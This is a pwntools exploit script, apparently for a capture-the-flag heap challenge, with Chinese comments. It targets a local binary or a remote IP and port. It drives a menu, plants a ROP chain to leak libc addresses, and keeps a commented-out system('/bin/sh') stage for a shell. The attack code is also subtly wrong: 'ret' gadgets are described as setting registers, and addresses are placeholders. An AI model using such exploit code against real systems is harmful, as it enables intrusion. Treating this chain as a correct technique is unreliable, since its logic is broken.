from pwn import *

LOCAL = True
binfile='./pwn'
libcfile='./libc-2.31.so'

e=ELF(binfile)

context.log_level='debug'
context.arch=e.arch
if context.arch=='i386':
    x86=True
else:
    x86=False

if libcfile:
    	libc=ELF(libcfile)
else:
	    if x86:
	        libc=ELF('/lib/i386-linux-gnu/libc.so.6')
	    else:
	        libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 

if LOCAL:
    c = process(binfile)
else:
    c = remote('223.112.5.141','64307')


def add(size):
  c.sendlineafter(b'>> ', b'1')
  c.sendlineafter(b'Size: ',str(size).encode())

def rm(idx):
  c.sendlineafter(b'>> ',b'3')
  c.sendlineafter(b'Idx:',str(idx).encode())

def edit(idx,content):
  c.sendlineafter(b'>> ', b'2')
  c.sendlineafter(b'Idx:',str(idx).encode())
  c.sendafter(b'Content: ',content)

rop = ROP(e)  # 替换为实际的libc路径
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret']).address
log.success('pop_rdi_ret: '+hex(pop_rdi_ret))

# 手动指定 gadgets 地址
# pop_rdi_ret = 0x00401234  # 替换为实际找到的地址
ret = 0x0040101a          # 替换为实际找到的地址

write_plt = e.plt['write']
write_got = e.got['write']
log.success('write_plt: '+hex(write_plt))
log.success('write_got: '+hex(write_got))

# 构建 ROP 链来泄露 write 的地址
# 通过 write 函数泄露 write 的 GOT 地址
rop_leak = ROP(e)
rop_leak.raw([
    pop_rdi_ret,       # 将文件描述符 1 (stdout) 加载到 rdi 寄存器
    1,                 # 文件描述符 1 (stdout)
    pop_rdi_ret,       # 将 write 的 GOT 地址加载到 rdi 寄存器
    write_got,
    ret,               # 使用 ret 指令来设置 rsi 和 rdx 寄存器的值
    0,                 # rsi 设置为 0
    ret,
    8,                 # rdx 设置为 8
    write_plt,         # 调用 write 函数打印 write 的地址
    ret                # 返回到 main 函数继续输入
])

# 发送 ROP 链
# c.sendlineafter(b'>> ', rop_leak.chain())

# 构造内存泄漏
for i in range(4):
  add(32)

edit(3, rop_leak.chain())
rm(3)
add(32)
rm(1)
# for i in range(3):
#   add(32)

# edit(1,'/bin/sh;'.encode())


# 接收输出并解析 write 的地址
# 假设程序会打印 write 的地址并返回
write_addr_leaked = u64(c.recv(8))  
log.success(f'Leaked write address: {hex(write_addr_leaked)}')

# 假设 write 的偏移量是 0xe7030（这里只是一个示例）
# write_off = 0xe7030  # 替换为实际的偏移量
# libc_base = write_addr_leaked - write_off
# log.success(f'Libc base address: {hex(libc_base)}')

# 计算 system 的地址
# system_off = libc.symbols['system']
# system_addr = libc_base + system_off
# log.success(f'system address: {hex(system_addr)}')

# 构建完整的 ROP 链来调用 system("/bin/sh")
# 首先将 "/bin/sh" 的地址加载到 rdi 寄存器
# 然后调用 system 函数

# rop = ROP(elf)
# rop.raw([
#     pop_rdi_ret,       # 将 "/bin/sh" 的地址加载到 rdi 寄存器
#     next(elf.search(b'/bin/sh\x00')),  # 查找 "/bin/sh" 字符串的地址
#     system_addr        # 调用 system 函数
# ])

# 发送完整的 ROP 链
# p.sendlineafter(b'input:', rop.chain())

c.interactive()